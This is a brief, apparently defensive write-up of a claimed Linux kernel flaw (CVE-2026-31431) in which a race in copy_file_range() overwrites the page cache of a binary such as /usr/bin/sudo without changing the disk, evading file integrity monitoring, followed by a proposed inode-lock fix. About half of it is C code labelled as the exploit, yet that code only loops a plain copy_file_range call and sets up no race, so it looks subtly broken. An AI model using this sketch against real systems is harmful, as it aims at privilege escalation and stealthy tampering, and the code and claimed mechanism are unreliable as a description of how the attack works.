Defensive Architecture: CVE-2026-31431: Page Cache Injection Logic

The exploit leverages the `copy_file_range()` system call to perform a cross-file copy. By inducing a race condition during the offset calculation, the kernel can be tricked into writing source data (attacker-controlled) into the page cache of a target file (e.g., /usr/bin/sudo). Because the write happens in the cache layer, the disk remains unchanged, bypassing FIM.

void exploit_page_cache(int fd_target, int fd_source) {
  // Trigger race condition in copy_file_range
  loff_t off_in = 0, off_out = 0;
  size_t len = 4096;
  while(1) {
    copy_file_range(fd_source, &off_in, fd_target, &off_out, len, 0);
    // If successful, the target binary's page cache is overwritten
    // without modifying the disk-based inode.
  }
}

The fix involves implementing a mutex lock on the inode during the entire `copy_file_range` operation to prevent concurrent offset manipulation. This ensures that the page cache and disk remain synchronized.